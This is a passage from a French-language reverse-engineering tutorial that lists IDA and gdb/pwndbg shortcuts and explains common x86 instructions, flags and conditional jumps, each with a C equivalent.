utiliser le raccourcis N pour renommer une fonction, un label ou une variable en ayant préalablement cliqué dessus avant de la renommer. Astuce IDA : Pour modifier le type d’une fonction ou d’une variable, il suffit de cliquer dessus et d’appuyer sur Y. Astuce IDA : Le raccourcis permettant d’assigner à des constantes des énumérations est M. Astuce IDA : Il est possible de mettre un commentaire sur la même ligne que l’instruction sélectionnée dans la fenêtre de décompilation avec le raccourcis /. Dans la fenêtre du code désassemblé, cela est possible avec : ou ;. Astuce IDA : Vous pouvez utiliser le raccourcis Inser pour saisir un commentaire avant l’instruction sélectionnée. Astuce IDA : En utilisant la touche Entrée, vous pouvez ajouter des sauts de lignes, pratique lorsque l’on souhaite espacer le code. Astuce IDA : Les variables nommées v1, v2 etc. correspondent à des variables locales d’une fonction tandis que les variables a1, a2 etc. correspondent aux arguments de la fonction. Astuce IDA : Vous pouvez utiliser le raccourcis G pour aller à une adresse en particulier. Astuce IDA : Vous pouvez utiliser le raccourcis espace pour basculer du mode “graphe” vers le mode “texte” et inversement. Astuce IDA : En mode “graphe”, vous pouvez modifier la couleur des blocs de base en cliquant sur l’icône la plus à gauche en haut du bloc. Astuce IDA : Parfois, au lieu d’afficher une chaîne de caractères, IDA affiche un offset en mémoire plutôt que la string directement. Pour y remédier, aller dans Edit➡️ Plugins ➡️ Hex-Rays Decompiler ➡️ Options ➡️ Analysis options 1 et décocher Print only constant string literals. Astuce IDA : Il est souvent intéressant d’avoir les deux onglets désassembleur / décompilateur sur la même vue. Vous pouvez faire cela en déplaçant l’un des deux onglets. Vous pouvez ensuite synchroniser les deux vues en faisant un clic droit dans la fenêtre de décompilation et en cliquant sur Synchronize with &gt; IDA View. De cette manière, lorsque vous cliquerez sur un ligne ou que vous changerez de fonction, IDA affichera la ligne adéquate dans la fenêtre de désassemblage. Astuce IDA : Pour désactiver (ou réactiver) le cast des variables, c’est le raccourcis Alt Gr + \\. Cela permet d’avoir du code plus lisible. Mais attention, parfois les casts donnent des informations importantes, notamment lorsque l’on souhaite reprogrammer un algorithme en C, Python ou autre, il est nécessaire de faire attention à la taille des variables. Astuce IDA : Une fois que vous avez trouvé l’adresse de base de votre programme, il suffit, dans IDA, d’aller dans Edit ➡️ Segments ➡️ Rebase program puis saisir l’adresse de base trouvée dans gdb avec libs et cliquer sur Ok.Astuces gdb Certaines de ces commandes sont propres à pwndbg.Liste des formats : o : octal x : hexadécimal u : décimal non signé t : binaire f : nombre à virgule (ou flottant) a : adresse c : char s : chaîne de caractèresTailles définies dans gdb : Abréviation Signification Taille (en octets) b byte 1 h half word 2 w word 4 g giant word 8 Astuce gdb : Si un programme accepte des arguments via argv, il est possible de les spécifier lors de la commande run. Exemple : run arg1 arg2 Astuce gdb : La commande hb *0xaddr (hardware breakpoint) permet d’insérer un point d’arrêt matériel à l’adresse 0xaddr . Astuce gdb : Vous pouvez utiliser i b (pour info breakpoints) afin de lister les points d’arrêts du programme. Cela est très utile pour s’y retrouver. Chaque point d’arrêt ayant un numéro unique, il sera affiché dans cette commande. Astuce gdb : Pour supprimer un point d’arrêt vous pouvez utiliser d N (pour delete N) afin de supprimer le breakpoint numéro N. Astuce gdb : Vous pouvez lister les zones mémoire mappées avec la commande libs. Astuce gdb : L’instruction starti permet de charger le programme en mémoire et de s’arrêter à la première instruction de ce dernier, sans l’exécuter. Astuce gdb : Vous pouvez quitter gdb avec les commandes quit ou exit. De manière plus rapide, vous pouvez utiliser Ctrl+D. Astuce gdb : Pour exécuter l’instruction courante et s’arrêter à la prochaine, il est possible d’utiliser si ou ni (pour step instruction et next isntruction). La différence entre les deux est que lors de l’appel d’une fonction, ni exécute la fonction jusqu’au retour alors que si entre dans la fonction et s’arrête à la première instruction. Astuce gdb : Le fait de saisir à chaque fois si pour avancer d’une instruction peut être fastidieux 😤. Vous pouvez spammer utiliser la touche Entrée dans le terminal gdb afin de ré-exécuter la dernière commande que vous avez lancée précédemment. Astuce gdb : Vous pouvez utiliser la commande c (ou continue) pour poursuivre l’exécution du processus jusqu’à arriver à un point d’arrêt. Astuce gdb : Vous pouvez utiliser le raccourcis fin (ou finish) pour finir l’exécution d’une fonction jusqu’à atteindre l’adresse de retour et s’y arrêter. Astuce gdb : La commande p (ou print) permet d’afficher une valeur quelconque ou la valeur d’une registre. Si la valeur à afficher est une adresse (ou pointeur), elle ne sera pas déréférencée. Astuce gdb : Pour afficher un registre, il suffit de le préfixer avec le signe $. Exemple : print $reg. Astuce gdb : Vous pouvez utiliser le raccourcis x ( pour explore) afin d’examiner le contenu d’une zone mémoire. Astuce gdb : Vous pouvez spécifier un nombre d’éléments à afficher avant les formats afin d’afficher plus ou moins de données en mémoire. Le nombre d’éléments à afficher ainsi que la taille ne sont utilisables qu’avec x. Cela ne fonctionnera pas avec print où seuls les formats (décimal, binaire, hexadécimal …) sont utilisables. Astuce gdb : Avec x, vous pouvez également donner en argument une expression avec des opérations (addition, soustraction, multiplication …). Cela peut être pratique pour afficher une donnée dans un tableau dont on connait l’index et l’adresse de base. Par exemple, pour afficher la 5ème case d’un tableau d’éléments de 64 bits : x 0x401000+8*5 (en supposant que le tableau soit stocké à partir de l’adresse 0x401000). Astuce gdb : La commande search de pwndbg permet de rechercher des motifs en mémoire. Astuce gdb : La commande set permet d’écrire dans des registres, variables et la mémoire. Astuce gdb : Vous pouvez utiliser rel (pour reload) afin de rafraîchir la GUI de pwndbg et voir les changements effectifs. Astuce gdb : Pour modifier une zone mémoire pointée par un registre, il est possible d’utiliser set *$reg = value. Pour modifier directement les données pointées par une adresse : set *0xaddr = value. Astuce gdb : Si vous ne souhaitez modifier qu’un seul octet (au lieu de 4 par défaut) vous devez le spécifier. Exemple : set {byte}0x401020 = 0xf5.Instructions x86mov reg_d, valueOpérandes reg_d : registre de destination value : valeur immédiate (ou concrète, constante).DétailsCette forme est la plus simple : elle affecte la valeur value au registre de destination reg_d.C’est une manière de réaliser des affectations de valeurs concrètes (immédiates).ExempleImaginons que eax vaille 0xaabbccdd puis que l’on exécute l’instruction mov eax, 0xdeadbeef. Alors la valeur de eax deviendra 0xdeadbeef.Équivalent en C// Initilisation du registreint x = 0xaabbccdd; // eax// Equivalent de : mov eax, 0xdeadbeefx = 0xdeadbeef;mov reg_d, reg_sOpérandes reg_d : registre de destination reg_s : registre sourceDétailsLe contenu du registre source reg_s est copié dans le registre de destination reg_d.C’est une manière d’affecter le contenu d’une variable à une autre.Exemplemov eax, 0xaabbccddmov ebx, 0x11223344 mov ebx, eax ; ebx == 0xaabbccddÉquivalent en C// Initilisation des registresint a = 0xaabbccdd; // eaxint b = 0x11223344; // ebx// Equivalent de : mov ebx, eaxb = a; // b = 0xaabbccddmov reg_d, [reg_p]Opérandes reg_d : registre de destination reg_p : registre pointant vers une zone mémoireDétailsCette forme est un peu plus complexe que les précédentes car elle fait appel à la notion de pointeur.Ici reg_d est le registre de destination qui recevra une valeur, jusque-là rien de bien nouveau. Par contre, reg_p ne contient pas la valeur qui sera copiée mais un pointeur vers la valeur en question.Ainsi, c’est la valeur pointée par reg_p qui est copiée dans reg_d.C’est une manière de lire des données depuis la mémoire.ExempleImaginons que je veuille exécuter ces instructions :mov eax, 0x700000F0 ; 0x700000F0 -&gt; 0x1a2b3c4dmov ebx, 0xcafebabemov ebx, [eax]On suppose également que l’adresse 0x700000F0 pointe vers l’entier de 4 octets 0x1a2b3c4d. Lorsque la dernière instruction mov ebx, [eax] sera exécutée, alors ebx vaudra 0x1a2b3c4d. Vous voyez la logique ?Légères variantesIl existe quelques variantes où un offset (positif ou négatif) est ajouté au registre reg_p, par exemple :mov edx, [eax + 8]mov ecx, [esi - 0x2000]Équivalent en CCette forme est très similaire à l’utilisation de pointeurs en C :// Initilisation des registresint *a = 0x700000f0; // eaxint b = 0xcafebabe; // ebx// Initilisation de la mémoire *a = 0x1a2b3c4d;// Equivalent de : mov ebx, [eax]b = *a; // b = 0x1a2b3c4dmov [reg_p], reg_sOpérandes reg_p : registre pointant vers une zone mémoire reg_s : registre sourceDétailsNormalement, si vous avez bien saisi le principe de l’instruction mov reg_d, [reg_p] vous devriez deviner le fonctionnement de celle-ci.En fait il s’agit de l’inverse de la précédente instruction. En effet, ici on copie la valeur du registre reg_s vers la zone mémoire pointée par reg_p.C’est une manière d’écrire des données en mémoire.ExempleReprenons le précédent exemple, nous avons cette fois-ci :mov eax, 0x700000F0 ; 0x700000F0 -&gt; 0x1a2b3c4dmov ebx, 0xcafebabemov [eax], ebx ; 0x700000F0 -&gt; 0xcafebabeLégères variantesIl existe quelques variantes où un offset (positif ou négatif) est ajouté au registre reg_p. Il est également possible de remplacer reg_s par une valeur immédiate. Par exemple :mov [ebp + 8], edimov [esi - 0x200], 0xdeadbeefÉquivalent en C// Initilisation des registresint *a = 0x700000f0; // eaxint b = 0xcafebabe; // ebx// Initilisation de la mémoire *a = 0x1a2b3c4d; // 0x700000f0 -&gt; 0x1a2b3c4d// Equivalent de : mov [ebx], eax*a = b; // 0x700000f0 -&gt; 0xcafebabeRésumé des différentes formes de movJe sais, ça fait beaucoup d’informations d’un coup, voici ainsi un résumé avec un exemple pour chacun des 4 formes possibles. Supposons que dans les 4 cas l’état initial est le suivant :Alors le résultat est : Les valeurs en 🔴 sont celles qui ont changé lors de l’exécutions de l’instruction tandis que celles en ⚫ sont les valeurs à l’origine du changement.lea reg, [...]Opérandes reg : registre de destination [...] : valeur qui est souvent une adresse mémoireDétailsCette instruction a ainsi une seule forme où la première opérande est toujours un registre, la seconde opérande est une valeur qui est souvent une adresse vers une zone mémoire.Ce que fait lea est tout simplement la copie de l’opérande de droite, sans la déréférencer, vers le registre de destination.Voici quelques exemples :lea eax, [0x400000] ; ici eax = 0x400000 lea edx, [ebp+8] ; ici edx = ebp +8lea ecx, [ebx+eax] ; ici ecx = ebx+eaxExemple Comme lea ne déréférence pas la seconde opérande, l’instruction lea eax, [0x400000] copie bien 0x400000 dans eax et non pas la valeur pointée par 0x400000.En fait, plus simplement, lea copie la valeur entre les crochets vers le registre de destination. En d’autres termes, lea reg, [...] est équivalente à mov reg, ....J’en vois déjà certains froncer les sourcils 🤨. Mais si cela est équivalent à faire un mov, pourquoi se casser la tête avec une instruction en plus ?En fait, contrairement à mov, l’instruction lea permet de faire de petites opérations au niveau de l’opérande de droite. Par exemple, si je souhaite affecter à ecx la somme de ebx et eax en utilisant mov, je suis obligé d’utiliser une instruction supplémentaire telle que add pour faire l’addition et ensuite stocker le résultat dans ecx avec mov.Tandis qu’avec lea, je peux simplement faire : lea ecx, [ebx + eax]. Vous savez quoi ? On peut même faire lea ecx, [ebx + eax*2]😎.Ainsi, lea permet de : Stocker le résultat de simples opérations en écrivant une seule instruction De manipuler des adresses en y ajoutant, ou non, un offset S’il n’y avait qu’une seule chose à retenir de lea : il s’agit d’un mov qui copie la “valeur entre crochets” vers la destination.add reg_d, reg_sOpérandes reg_d : registre de destination reg_s : registre sourceDétails“Add” en anglais signifie “ajouter”.Cette instruction réalise ainsi deux actions : addition de la valeur du registre source avec celui de destination stockage du résultat (la somme) dans le registre de destinationC’est de cette manière que sont réalisées les additions. Lorsque la somme des deux termes dépasse le plus grand entier que peut stocker le registre de destination, le résultat est tronqué pour qu’il puisse y être stockéExempleFaisons la somme de 0xf0000034 et 0x20001200 :mov eax, 0xf0000034mov ebx, 0x20001200add eax, ebx ; eax = 0x10001234 et non pas 0x110001234 car le résultat est tronqué aux 32 bits de poids faibleÉquivalent en C// Initilisation des registresint a = 0xf0000034; int b = 0x20001200; a = a + b;Autres formesIl existe plusieurs autres formes : add reg, value add [ptr], value add reg, [ptr]Leur fonctionnement est toujours le même : somme des deux termes et stockage dans l’opérande de destination. Toutes les instructions, sauf mention contraire (comme lea), déréférencent les pointeurs vers des zones mémoire. Dans les précédentes formes, ce n’est donc pas le pointeur ptr qui est utilisé dans la somme mais la valeur pointée par ptr qui est [ptr] (qui serait *ptr en C).and ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être une valeur immédiate un registre un pointeur (vers une zone mémoire) DétailsL’instruction and réalise un “et logique” entre les bits des deux opérandes. Le résultat est ensuite sauvegardé dans la première opérande (qui ne peut donc pas être une valeur immédiate).Exemplemov eax, 0xff00ff00mov ebx, 0xabcdef12and eax, ebx ; eax = 0xab00ef00Équivalent en Cint a = 0xff00ff00; int b = 0xabcdef12; a = a &amp; b;Autres formesIl existe d’autres formes en fonction du type d’opérandes mais le principe est toujours le même.sub ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Valeur soustraite. Peut être une valeur immédiate un registre un pointeur Détails“Sub” provient de “substract” qui signifie soustraire.Cette instruction réalise ainsi deux actions : soustraction de l’opérande source avec l’opérande de destination ope_d - ope_s. stockage du résultat (la différence) dans l’opérande de destinationC’est de cette manière que sont réalisées les soustractions. Contrairement à add, l’ordre des opérandes est important dans sub. En effet, en inversant les opérandes, on inverse le signe du résultat.ExempleFaisons la différence de 0xf0000034 avec 0x10000034 :mov eax, 0xf0000034mov ebx, 0x10000034sub eax, ebx ; eax = 0xe0000000Équivalent en Cint a = 0xf0000034; int b = 0x10000034; a = a - b;Autres formesIl existe d’autres formes mais le principe est toujours le même.cmp ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être : une valeur immédiate un registre un pointeur DétailsLa comparaison avec cmp est effectuée d’une manière qui peut nous paraître bizarre. En effet, cmp effectue la soustraction suivante sub ope_d, ope_s mais sans stocker le résultat. Ainsi le contenu des opérandes restent inchangées.Par contre, quelques flags parmi les EFLAGS vont être changés en fonction des valeurs des opérandes et du résultat. C’est à partir de ces EFLAGS que l’on saura si les opérandes sont égales ou s’il y en a une plus grande/petite que l’autre etc. Il est important que vous ayez en tête la manière dont les entiers sont représentés en informatique, notamment les entiers signés avec le complément à deux.Plus précisément, ce sont les flags ZF, SF, CF et OF qui nous intéressent principalement (et dans une moindre mesure PF). Nous les avions déjà vus brièvement précédemment, profitons-en pour nous rafraîchir la mémoire et rentrer plus dans les détails. ZF (Zero Flag) : 1 si les deux opérandes sont égales. La différence des deux termes vaut donc 0. 0 si les deux opérandes sont différentes. SF (Sign Flag) : 1 si le bit de poids fort du résultat est non nul. Dans le cas d’une opération signée cela implique qu’il est négatif. Dans le cas où elle est non signé, ce flag n’a pas d’importance. 0 si le bit de poids fort du résultat est nul Exemple : Prenons la soustraction signée suivante :0x5 - 0x20 = -0x1b. Le résultat étant négatif, le complément à deux de 0x1b est 0xe5 qui s’écrit sur 8 bits en binaire 0b11100101. Le bit de poids fort étant à 1, SF l’est également. Etant donné qu’il s’agit d’une opération signée SF nous permet de savoir que le résultat est négatif. CF (Carry Flag) : 1 si le résultat possède une retenue. 0 si le résultat ne possède pas de retenue Exemple : Par exemple, pour l’instruction add al, bl sur 8 bits où al vaut 0xFF et bl vaut 0x01, le résultat est 0xFF + 0x01 = 0x100 qui ne tient pas sur les 8 bit de al. Cela génère donc une retenue. Lors d’une soustraction a - b, une retenue est générée lorsque b est plus grand que a. OF (Overflow Flag) : 1 si un débordement a lieu avec des valeurs signées. Par exemple, cela peut avoir lieu lorsqu’il y a un résultat négatif d’opérandes positifs et inversement. Ce bit n’a pas d’importance lorsque l’on manipule des valeurs non signées. 0 s’il n’y a pas eu de débordement Exemple : Prenons l’addition signée suivante :0x7F + 0x8 = 0x87. Ici, le bit de poids fort de 0x87 est à 1 : il s’agit donc d’un résultat négatif (-121). Pourtant, les deux termes sont strictement positifs. Il y a donc eu un débordement (overflow). PF (Parity Flag) : 1 si le nombre de bits su résultat est pair 0 sinon N’hésitez pas à utiliser asmdebugger pour faire quelques tests. Les 4 flags étudiés sont affichés sur le site lors de l’exécution des instructions. En effet, si l’utilisation de ces flags vous paraît difficile, sachez que c’est normal car cela fait intervenir des notions que l’on utilise pas, en tant qu’humain, tous les jours comme le complément à deux pour représenter des nombres négatifs.Lors d’une comparaison avec cmp, le processeur ne sait pas si les opérandes sont signées ou non. En fait, il s’en moque à ce stade. C’est pourquoi il va modifier, si besoin est, ces 4 flags bien que certains soient plutôt utilisés lors d’opérations signées (SF et OF) ou non signées (CF).ExemplesVoici quelques exemples : Instruction ZF SF CF OF cmp 1, 5   ✅ ✅   cmp 5, 1         cmp 5, 5 ✅       cmp 4, 255     ✅   cmp 127, 129   ✅ ✅ ✅ Je vous conseille de représenter les entiers sous forme binaire et de faire attention à la représentation du complément à deux. En effet, 129 s’il n’est pas signé vaut 129 mais s’il est signé, il vaut -127.Équivalent en CPour l’instruction cmp, il n’y a pas réellement d’équivalent en C. En fait, cmp n’est jamais (sauf exceptions) utilisées autrement qu’avec des sauts. Ainsi, représenter cmp tout seul dans du code C n’a pas de sens. Par contre, dans toutes les conditions du type if, else vous y trouverez un cmp (ou test) dans le code assembleur associé.test ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être : une valeur immédiate un registre DétailsCette instruction est également utilisée pour réaliser des comparaisons mais son fonctionnement sous-jacent est différent de cmp.test va exécuter l’instruction and ope_d, ope_s sans stocker le résultat mais en mettant à jour des flags suivants : SF, ZF et PF. test est souvent utilisé pour savoir si un registre est nul ou non.ExempleL’instruction test eax, eax permet de voir si eax est nul ou non. En effet, lors de l’exécution de cette instruction, si ZF == 1, c’est que eax est nul. Sinon, cela signifie qu’il est non nul.Équivalent en CMême remarque que pour cmp : il n’y a pas réellement d’équivalent direct en C.jmp destOpérandes dest : destination du saut. Peut être : une valeur immédiate (exemple : adresse relative ou absolue) un registre un pointeur DétailsUnique instruction permettant de réaliser des sauts inconditionnels afin de “sauter” vers l’adresse de destination. Cela permet de pouvoir exécuter des instructions qui ne sont pas toujours situées linéairement dans le code. La différence entre un saut et un appel de fonction call est que l’on ne se préoccupe pas de sauvegarder l’adresse de retour afin de pouvoir y retourner plus tard.Lorsque l’opérande dest est une valeur immédiate, il peut s’agir d’une adresse absolue ou relative : adresse absolue : l’adresse est “codée en dur” dans l’opcode de l’instruction. Cela permet de sauter plus loin dans le code mais l’instruction prend plus de place. Exemple : e9 d8 12 00 00 jmp 0x12dd adresse relative : seule la différence entre l’adresse courante de eip et l’adresse de destination est insérée dans l’opcode. Cela permet d’avoir des opcodes plus courts mais de sauter moins loin. Exemple : eb 2a jmp short 0x12DC Concernant les adresses absolues, elles ne sont pas insérées tel quel dans l’opcode. En effet, il est nécessaire de prendre en compte la taille de l’instruction de saut (par exemple 5 octets) avant d’insérer l’adresse de destination. C’est pourquoi l’opcode de l’exemple contient e9 d8 12 et non pas e9 dd 12.Bien que le mnémonique jmp utilisé soit le même, il existe différentes forme où dest n’est pas toujours une adresse. Cela peut, en effet, être un pointeur ou registre.Le souci, en tant que reverser, est qu’il ne sera pas toujours possible de savoir directement vers quelle adresse le processeur va sauter lorsqu’un registre (ou pointeur) va être utilisé. En analyse statique, il sera nécessaire de déterminer les différentes valeurs que peut prendre le registre afin de trouver les potentielles destinations.Le fait d’utiliser un registre comme opérande est très commun dans la modélisation des switch en assembleur après compilation.Exemplejmp 0x401020jmp raxjmp [ebx]Équivalent en CLes sauts inconditionnels jmp sont l’équivalent de goto en C :#include &lt;stdio.h&gt;int main() { int i = 0; start_loop: if (i &lt; 5) { printf(\"i = %d\\n\", i); i++; goto start_loop; // Sauter à l'étiquette start_loop } return 0;}jcc destOpérandes dest : destination du saut. Peut être : une valeur immédiate (exemple : adresse relative ou absolue) Détailsjcc n’est pas un mnémonique en soi. Il s’agit d’un terme générique pour désigner le mnémonique de tous les sauts conditionnels. Les points communs de tous ces sauts sont les suivants : Ils utilisent certains flags parmi les EFLAGS afin de savoir s’il faut sauter Lorsque que le saut n’est pas exécutée, c’est l’instruction située immédiatement après le saut qui est réalisée Ils sont précédés d’une instruction cmp ou testSi vous retenez ça, vous avez retenu 60% du fonctionnement des sauts conditionnels. Le reste consiste seulement à se rappeler de ce que signifie chaque mnémonique et quels flags sont utilisés.Voici les principaux sauts que vous pourrez rencontrer : Selon le désassembleur utilisé, il peut y avoir quelques différences dans le mnémonique comme jz (jump if zero) qui peut être désigné je (jump if equal) mais qui représentent exactement la même instruction. Mnémonique(s) Description Signe des opérations Cas d’utilisation Condition de saut jo Jump if overflow   Détection de débordement OF == 1 jno Jump if not overflow   Détection de débordement OF == 0 js Jump if sign   Tester le signe SF == 1 jns Jump if not sign   Tester le signe SF == 0 jz / je Jump if zero / equal   Tester l’(in)égalité ZF == 1 jnz / jne Jump if not zero / not equal   Tester l’(in)égalité ZF == 0 jb / jnae / jc Jump if below / not above or equal / carry Non signé Tester la supériorité / infériorité CF == 1 jnb / jae / jnc Jump if not below / above or equal / not carry Non signé Tester la supériorité / infériorité CF == 0 jbe / jna Jump if below or equal / not above Non signé Tester la supériorité / infériorité CF == 1 \\|\\| ZF == 1 jnbe / ja Jump if not below or equal / above Non signé Tester la supériorité / infériorité CF == 0 &amp;&amp; ZF == 0 jl / jnge Jump if less / not greater or equal Signé Tester la supériorité / infériorité SF != OF jnl / jge Jump if not less / greater or equal Signé Tester la supériorité / infériorité SF == OF jng / jle Jump if not greater / less or equal Signé Tester la supériorité / infériorité ZF == 1 \\|\\| SF != OF jg / jnle Jump if greater / not less or equal Signé Tester la supériorité / infériorité ZF == 0 &amp;&amp; SF == OF Il est à noter qu’il n’existe pas une seule manière de représenter une condition du C vers l’assembleur. Prenons par exemple le code suivant :unsigned int x = ...;unsigned int y = ...;if (x &gt; y ){\t// Code A}else{\t// Code B}On peut très bien faire :cmp x, yja addr_code_Acode_Bou :cmp x, yjbe addr_code_Bcode_AIl faut donc être attentif lorsque l’on analyse du code assembleur pour savoir ce qui va être exécuté et sous quelles conditions.Exemplesjz 0x555555550102jns 0x405987Équivalent en CSelon le signe des variables comparées et le type de comparaison utilisé, certains sauts vont être utilisés plutôt que d’autres (les différents mnémoniques d’une même instruction ont été omis par souci de concision) :int x = ...;int y = ...;if (x &lt; 0) // js ou jns{\t//...}if (x == y) //jz ou jnz{\t//...}if(x &lt; y) // jl ou jnl {\t//...}if(x &gt;= y) // jnl ou jl{\t//...}if(x &lt;= y) // jle ou jnle{\t//...}Autres formesIl existe d’autres sauts mais que l’on rencontre moins souvent.cdqOpérandes Cette instruction n’a pas d’opérandesDétailscdq est l’abréviation de convert dword to qword. Vous l’avez compris, cela devrait donc permettre de convertir un dword (4 octets) en un qword (8 octets), mais comment ?Tout d’abord, cette instruction ne s’applique que sur le registre eax (ou ses dérivées). C’est pourquoi elle ne dispose pas d’opérandes. De plus, cette instruction garde le signe de l’ancienne valeur lors de la conversion vers la nouvelle valeur.En x86_64 on a des registres de 64 octets, ce qui n’est pas le cas en x86. Ainsi, pour doubler la taille des données contenues dans eax, c’est le registre edx (ou ses dérivées) qui va être utilisé de cette manière : si le nombre dans eax est négatif (bit de poids fort égal à 1), alors edx est rempli de 1 si le nombre dans eax est positif (bit de poids fort égal à 0), alors edx est rempli de 0 Cette manière de générer une nouvelle valeur à partir d’une valeur signée est ce que l’on appelle l’extension de signe.Ainsi on obtient une valeur de taille double en concaténant les deux registres sous la forme : edx:eax.Cette instruction est très utilisée lors des divisions signées afin d’avoir un résultat cohérent et correct.Exemplesmov eax, 0x70001234cdq ; edx:eax = 0x00000000:0x70001234mov eax, 0x80001234cdq ; edx:eax = 0xffffffff:0x80001234Équivalent en CIl n’y pas a pas d’équivalent directe en C.Autres formesIl existe plusieurs dérivées mais dont le principe d’extension de signe est le même : cwd (convert word to dword): la valeur convertie est contenue dans dx:ax cqo (convert qword to double qword): la valeur convertie est contenue dans rdx:rax (disponible seulement en x86_64)shr ope_d, n et sar ope_d, nOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur n : opérande source. Peut être : une valeur immédiate un registre (seulement le registre cl) DétailsL’instruction shr (ou shift right) permet de réaliser un décalage des bits de ope_d de n bits vers la droite. Avec l’instruction shr et toutes les autres instruction de shift (décalage), il n’y a pas de rotation des bits sortants. Il existe d’autres instructions comme ror/rol qui réalise un décalage rotatif des bits. C’est-à-dire que des bits qui sortent, par exemple, par la gauche, “rerentrent” par la droite.Ainsi, le décalage de 0b01110011 d’un bit vers la droite est 0b00111001. En fait, lorsqu’il y a un bit sortant, il n’est pas réellement perdu dans la nature : il est sauvegardé dans le flag CF des EFLAGS.Il existe l’instruction sar (ou shift aritmetic right) est basée sur le même principe de décalage que shr. La seule différence est que sar prend en compte le signe du nombre qui sera décalé.Ainsi, si le bit de poids fort de ope_d est 1, il sera réinitialisé à 1 après décalage. En fait sar agit en deux temps : exécuter shr si le précédent nombre était signé, mettre le bit de poids fort du résultat à 1Voir les exemples ci-dessous pour comprendre de quoi il s’agit.Ces instructions sont très utilisées pour réaliser des divisions par 2 d’un nombre (et dont le reste est dans le flag CF). En effet, le décalage d’un bit vers la droite revient à diviser par 2. Le décalage de n bits vers la droite revient à diviser par 2 puissance n. Je ne vois pas en quoi décaler d’un bit vers la droite revient à diviser par deux ?Pourtant c’est bien ce qui se passe lorsque l’on note un nombre en décimal et que l’on le décale d’une unité vers la droite, cela revient à diviser par 10.Prenons par exemple 213950, en le décalant d’une unité vers la droite on obtient 21395, ce qui revient bien à diviser par 10.Avec la notation en binaire, c’est la même chose : décaler d’un bit revient à diviser par deux.Ainsi, sar et shr sont très utilisés pour réaliser des divisions de puissances de 2.Exemple mov eax, 0x80000001 (0b10.....001) shr eax, 1 ; eax = 0x40000000 (0b01.....000) ; CF == 1 mov eax, 0x80000001 sar eax, 1 ; eax = 0xc0000000 (0b11.....000) ; CF == 1Équivalent en Cint x = 0x80000001;x = x &gt;&gt; 1; // x = 0xc0000000int y = 0xdeadbeef;y = y &gt;&gt; 13; // y = 0xfffef56dAutres formesDe la même manière que shr/sar permettent de réaliser des décalages vers la droite, shl/sal permettent de réaliser des décalages vers la gauche avec le même principe.A l’instar de la division par puissances de 2 de shr/sar, shl/sal permettent de réaliser des multiplications par puissances de 2 : ➡️ shr/sar : division par puissances de 2 ⬅️shl/sal : multiplication par puissances de 2Vous pouvez également jeter un œil aux instructions rcl/rcr/rol/ror. Leur fonctionnement de décalage est le même. La principale différence est qu’il y a une rotation des bits sortants." } ]
